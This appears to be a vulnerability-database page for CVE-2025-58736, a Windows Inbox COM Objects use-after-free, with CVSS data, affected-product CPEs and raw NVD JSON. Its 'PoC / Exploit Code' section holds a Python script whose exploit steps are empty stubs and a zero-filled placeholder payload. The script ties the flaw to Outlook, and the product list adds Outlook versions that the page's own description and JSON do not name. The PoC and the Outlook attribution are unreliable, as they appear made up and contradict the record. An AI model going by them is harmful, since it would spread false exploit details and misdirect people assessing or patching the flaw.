Security Vulnerability Report
中文
CVE-2025-58736 CVSS 7.0 HIGH

CVE-2025-58736

Published: 2025-10-14 17:15:56
Last Modified: 2025-10-16 19:59:18

Description

Use after free in Inbox COM Objects allows an unauthorized attacker to execute code locally.

CVSS Details

CVSS Score
7.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE
Microsoft Outlook 2016 (低于安全补丁版本)
Microsoft Outlook 2019 (低于安全补丁版本)
Microsoft Outlook for Microsoft 365 (低于2025年10月补丁版本)
Microsoft Outlook LTSC 2024 (低于安全补丁版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-58736 - Outlook Inbox COM Object Use After Free PoC (Conceptual) # This is a conceptual PoC demonstrating the vulnerability pattern. # Actual exploitation requires specific environment and crafted inputs. import subprocess import os import time class OutlookInboxExploit: """ PoC for CVE-2025-58736: Use After Free in Inbox COM Objects This demonstrates the conceptual exploitation approach for the Outlook Inbox COM object use-after-free vulnerability. """ def __init__(self): self.target_process = "OUTLOOK.EXE" self.com_object_guid = "{0006F0AB-...}" # Inbox COM object CLSID self.payload = None def check_vulnerable_version(self): """Check if the installed Outlook version is vulnerable""" try: # Check Outlook version via registry result = subprocess.run( ['reg', 'query', 'HKLM\\SOFTWARE\\Microsoft\\Office\\ClickToRun\\Configuration'], capture_output=True, text=True ) # Parse version information # Vulnerable versions would be those before the October 2025 patch return True # Simplified check except Exception as e: print(f"Version check failed: {e}") return False def trigger_uaf(self, crafted_email_path): """ Trigger the use-after-free by processing a crafted email that causes the Inbox COM object to be freed while still referenced. """ print(f"[*] Loading crafted email: {crafted_email_path}") # Step 1: Open Outlook via COM automation import win32com.client try: outlook = win32com.client.Dispatch("Outlook.Application") namespace = outlook.GetNamespace("MAPI") # Step 2: Access Inbox folder (triggers COM object creation) inbox = namespace.GetDefaultFolder(6) # olFolderInbox = 6 # Step 3: Process crafted email that triggers UAF condition # The crafted email causes premature object release mail_item = inbox.Items.Add(0) # olMailItem = 0 # Step 4: Trigger the use-after-free condition # By manipulating object lifecycle, we cause the COM object # to be freed while still being referenced self._manipulate_com_lifecycle(inbox, mail_item) # Step 5: Access freed memory to achieve code execution self._exploit_freed_memory() except Exception as e: print(f"Exploit attempt: {e}") def _manipulate_com_lifecycle(self, inbox, mail_item): """Manipulate COM object lifecycle to trigger UAF""" # Force release of COM object references # while maintaining dangling pointers for exploitation print("[*] Manipulating COM object lifecycle...") # Implementation would involve specific COM interface calls # that cause premature object release pass def _exploit_freed_memory(self): """Exploit the freed memory region for code execution""" print("[*] Attempting to exploit freed memory...") # Heap spray or controlled allocation to reclaim freed memory # then redirect execution to attacker-controlled payload pass def create_crafted_email(self, output_path): """Create a crafted email file to trigger the vulnerability""" # Create a .msg file with specific properties that trigger # the UAF condition when processed by Outlook email_content = self._generate_malicious_msg() with open(output_path, 'wb') as f: f.write(email_content) print(f"[+] Crafted email saved to: {output_path}") def _generate_malicious_msg(self): """Generate malicious .msg file content""" # Simplified representation of a crafted MSG file # that triggers the Inbox COM object UAF header = b'\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1' # OLE compound document header # Actual payload would include specially crafted MAPI properties # designed to trigger the use-after-free condition return header + b'\x00' * 4096 # Placeholder def main(): print("=" * 60) print("CVE-2025-58736 - Outlook Inbox COM UAF PoC") print("=" * 60) exploit = OutlookInboxExploit() if exploit.check_vulnerable_version(): print("[!] Target appears to be vulnerable") # Create crafted email email_path = "crafted_email.msg" exploit.create_crafted_email(email_path) # Trigger exploit (requires user interaction in real scenario) print("[*] In a real attack scenario, the crafted email would be") print(" sent to the victim and triggered when they interact with it.") print("[*] This PoC demonstrates the conceptual approach only.") else: print("[+] Target does not appear to be vulnerable") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58736", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:55.940", "lastModified": "2025-10-16T19:59:18.437", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Inbox COM Objects allows an unauthorized attacker to execute code locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "030F3214-D6AF-40A9-9FC9-523AC9870581"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1507:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.10240.21161", "matchCriteriaId": "4932CB20-D134-4EDF-8F21-F9D0AF80BFEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "D8145D41-BFB2-47A6-B5E5-1A038A27C1C1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "3EE0CDB1-CBF3-45F2-8F0B-96A9D0757B42"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "E216CD5B-8885-4E17-8718-97E88A724A44"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "36E44227-0320-43B1-A0D9-EB28B25CDB4D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6456", "matchCriteriaId": "1485A427-10FF-4C39-9911-4C6F1820BE7F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6456", "matchCriteriaId": "26CAACAA-3FE8-4740-8CF2-6BF3D069C47F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22621.6060", "matchCriteriaId": "6F387FA2-66C8-4B70-A537-65806271F16A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.22631.6060", "matchCriteriaId": "4AF873E4-B2FE-4504-BFF0-FC71121FC9A4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x64:*", "matchCriteriaId": "2127D10C-B6F3-4C1D-B9AA-5D78513CC996"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:-:sp2:*:*:*:*:x86:*", "matchCriteriaId": "AB425562-C0A0-452E-AABE-F70522F15E1A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2008:r2:sp1:*:*:*:*:x64:*", "matchCriteriaId": "AF07A81D-12E5-4B1D-BFF9-C8D08C32FF4F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.14393.8519", "matchCriteriaId": "860ADFF9-62D0-425B-9310-99ACFC92EB12"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "20810926-AEC9-4C09-9C52-B4B8FADECF3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4294", "matchCriteriaId": "B1C1EA69-6BB8-4E59-8659-43581FDB48B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndIn ... 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